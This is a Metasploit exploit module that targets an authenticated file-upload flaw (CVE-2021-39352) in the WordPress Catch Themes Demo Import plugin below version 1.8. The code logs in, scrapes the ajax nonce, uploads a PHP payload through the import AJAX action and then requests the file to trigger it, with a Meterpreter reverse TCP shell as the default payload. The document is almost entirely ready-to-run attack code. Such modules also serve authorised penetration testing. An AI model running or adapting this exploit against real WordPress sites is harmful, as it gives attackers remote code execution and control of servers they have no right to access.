WordPress Catch Themes Demo Import Shell Upload

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Wordpress Plugin Catch Themes Demo Import RCE',  
'Description' => %q{  
The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated  
arbitrary file uploads via the import functionality found in the  
~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation.  
Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.  
During testing this timeout was roughly 5min.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Ron Jost', # edb  
'Thinkland Security Team' # listed on wordfence's site  
],  
'References' => [  
[ 'EDB', '50580' ],  
[ 'CVE', '2021-39352' ],  
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php' ],  
[ 'URL', 'https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352' ],  
[ 'WPVDB', '781f2ff4-cb94-40d7-96cb-90128daed862' ]  
],  
'Platform' => ['php'],  
'Privileged' => false,  
'Arch' => ARCH_PHP,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
# we leave this out as typically php.ini will bail before 350mb, and payloads are small enough to fit as is.  
# 'Payload' =>  
# {  
# # https://plugins.trac.wordpress.org/browser/catch-themes-demo-import/tags/1.6.1/inc/CatchThemesDemoImport.php#L226  
# 'Space' => 367_001_600, # 350mb  
# }  
'DisclosureDate' => '2021-10-21',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
},  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
# https://support.shufflehound.com/forums/topic/i-cant-use-the-one-click-demo-installer/#post-31770  
# re-exploitation may need a reboot of the server, or to wait an arbitrary timeout.  
'Reliability' => [ UNRELIABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username of the account', 'admin']),  
OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),  
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),  
]  
end  
  
def check  
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?  
  
checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8')  
if checkcode == CheckCode::Safe  
print_error('catch-themes-demo-import not a vulnerable version')  
end  
checkcode  
end  
  
def exploit  
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])  
  
if cookie.nil?  
vprint_error('Invalid login, check credentials')  
return  
end  
  
# grab the ajax_nonce  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'themes.php'),  
'method' => 'GET',  
'cookie' => cookie,  
'keep_cookies' => 'false', # for some reason wordpress gives back an unauth cookie here, so ignore it.  
'vars_get' => {  
'page' => 'catch-themes-demo-import'  
}  
})  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  
/"ajax_nonce":"(?<ajax_nonce>[a-z0-9]{10})"/ =~ res.body  
fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce  
vprint_status("Ajax Nonce: #{ajax_nonce}")  
  
random_filename = "#{rand_text_alphanumeric(6..12)}.php"  
vprint_status("Uploading payload filename: #{random_filename}")  
  
multipart_form = Rex::MIME::Message.new  
multipart_form.add_part('ctdi_import_demo_data', nil, nil, 'form-data; name="action"')  
multipart_form.add_part(ajax_nonce, nil, nil, 'form-data; name="security"')  
multipart_form.add_part('undefined', nil, nil, 'form-data; name="selected"')  
multipart_form.add_part(  
payload.encoded,  
'application/x-php',  
nil,  
"form-data; name=\"content_file\"; filename=\"#{random_filename}\""  
)  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'method' => 'POST',  
'cookie' => cookie,  
'keep_cookies' => 'true',  
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",  
'data' => multipart_form.to_s  
)  
fail_with(Failure::Unreachable, 'Site not responding') unless res  
fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX')  
fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500  
# yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This  
# is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully)  
#  
# [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123  
# Stack trace:  
# #0 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php(331): CatchThemes\\WPContentImporter2\\WXRImporter->get_reader()  
# #1 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(80): CatchThemes\\WPContentImporter2\\WXRImporter->import()  
# #2 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(137): CTDI\\Importer->import()  
# #3 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/CatchThemesDemoImport.php(306): CTDI\\Importer->import_content()  
# #4 /var/www/wordpress/wp-includes/class-wp-hook.php(292): CTDI\\CatchThemesDemoImport->import_demo_data_ajax_callback()  
# #5 /var/www/wordpress/wp-includes/class-wp-hook.php(316): WP_Hook->apply_filters()  
# #6 /var/www/wordpress/wp-includes/plugin.php(484): WP_ in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php on line 123  
register_file_for_cleanup(random_filename)  
month = Date.today.month.to_s.rjust(2, '0')  
print_status("Triggering payload at wp-content/uploads/#{Date.today.year}/#{month}/#{random_filename}")  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', Date.today.year, month, random_filename),  
'method' => 'GET',  
'keep_cookies' => 'true'  
)  
end  
end  
`